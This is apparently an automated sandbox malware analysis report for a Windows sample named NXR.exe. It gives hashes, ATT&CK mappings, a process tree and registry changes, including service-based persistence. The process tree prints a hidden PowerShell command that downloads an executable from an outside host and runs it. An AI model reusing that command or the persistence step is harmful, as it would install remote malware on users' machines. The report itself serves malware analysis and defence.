37ea27ff8504886a3ad8f821a3f599537eb23b9e0ce149c814f7f750fb5f4a36

Analysis

user interaction
yes
max time kernel
8s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/04/2026, 09:10

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General

Target
NXR.exe
Size 1005KB
Sample260418-k49mcaby71
SHA256 37ea27ff8504886a3ad8f821a3f599537eb23b9e0ce149c814f7f750fb5f4a36
MD5 5101858196ac79c05ada2a5eb0803eea
SHA1 f3c6ee2a53c4c40d95793c8b798f3af817673c2e
SHA512 fa7fff50107fa5ef6c1a8ef6639b272edb2902b4c78b6a7b843d976b0da7ae3ed69d8c33cb94978e79bc7227fe3282603156f74e1b6883dccff2a0317c7c4c97
SSDEEP 24576:ytwpZlO40HBweNZXnyOo60OegX7AoDliFjXm7K:ytUEwUlnF0ErvDliFjX
TLSH
T1B825BF49B2E905D9E673A57C8852A223DE327C0807B862CB73D745B95FAF6D00D77B02
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3184	powershell.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\sRaETaexuWdEZfiDchnay\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\sRaETaexuWdEZfiDchnay"	NXR.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3184	powershell.exe
3184	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	NXR.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeLoadDriverPrivilege	648	NXR.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 648 wrote to memory of 2656	648	NXR.exe	86
PID 2656 wrote to memory of 2756	2656	cmd.exe	87
PID 648 wrote to memory of 708	648	NXR.exe	89
PID 2756 wrote to memory of 3184	2756	cmd.exe	90
PID 648 wrote to memory of 2548	648	NXR.exe	92

C:\Users\Admin\AppData\Local\Temp\NXR.exe
"C:\Users\Admin\AppData\Local\Temp\NXR.exe"
1⤵
- Sets service image path in registry
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK795886.exe; Start-Process -FilePath $env:TEMP\BK795886.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2548

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x450 0x2c8
1⤵
PID:1572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_g5bibqyb.kh0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g5bibqyb.kh0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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8a7acf8a27881ad9887fc425cd6c5f95.pdb

Path C:\symbols\8a7acf8a27881ad9887fc425cd6c5f95.pdb
Size 915KB
SHA256 6c7ad0ffc2045a1050313ce327e4993e2bd4d6749a819440c352e501af097970
MD5 4b2287f71f2ecff41b8a8c9b67cf4b26
SHA1 82902a45fe76625de77528a82b165d57bf190613
SHA512 d96ba4a52d45d3f844da4e5da1e94941aa0cee095ef4ca423e445d48cef5187f55518e3653beed1ee879e1aec61d4bf53eabc70d68737bb7d7579db229481861
SSDEEP 6144:cOmdQgYdje3k8tHhphHqBtNoJEGNxT+Rv4zevARwkkLik3Kws4oaBE:mzTlblqmE9Sev0qB
TLSH
T1A4150B3AFF227EE2C41B09BF1852131DB1F9F580939A52C32980BBA58DF63725D55B81
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/3184-0-0x0000015079390000-0x00000150793A0000-memory.dmp

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memory/3184-1-0x0000015079390000-0x00000150793A0000-memory.dmp

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memory/3184-7-0x00000150792F0000-0x0000015079312000-memory.dmp

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memory/3184-15-0x0000015060FF0000-0x0000015060FFC000-memory.dmp

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